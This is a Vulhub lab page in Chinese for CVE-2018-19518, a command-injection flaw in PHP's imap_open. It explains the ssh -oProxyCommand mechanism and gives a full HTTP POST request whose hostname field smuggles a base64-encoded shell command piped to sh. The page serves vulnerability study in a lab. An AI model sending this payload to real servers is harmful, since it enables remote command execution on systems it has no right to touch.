PHP imap 遠程命令執行漏洞(CVE-2018-19518)
Path php/CVE-2018-19518
php imap擴展用于在PHP中執行郵件收發操作。其imap_open函數會調用rsh來連接遠程shell,而debian/ubuntu中默認使用ssh來代替rsh的功能(也就是說,在debian系列系統中,執行rsh命令實際執行的是ssh命令)。
因為ssh命令中可以通過設置-oProxyCommand=來調用第三方命令,攻擊者通過注入注入這個參數,最終將導致命令執行漏洞。
參考鏈接:
- https://bugs.php.net/bug.php?id=77153
- https://github.com/Bo0oM/PHP_imap_open_exploit
- https://antichat.com/threads/463395/#post-4254681
- https://nvd.nist.gov/vuln/detail/CVE-2018-19518
漏洞環境
執行如下命令啟動一個包含漏洞的PHP環境:
docker-compose up -d
環境啟動后,訪問http://your-ip:8080即可查看web頁面。Web功能是測試一個郵件服務器是否能夠成功連接,需要填寫服務器地址、用戶名和密碼。
目標源碼在index.php
漏洞復現
發送如下數據包即可成功執行命令echo '1234567890'>/tmp/test0001:
POST / HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222
執行docker-compose exec web bash進入容器,可見/tmp/test0001已成功創建:

Vulhub 文檔
推薦文章: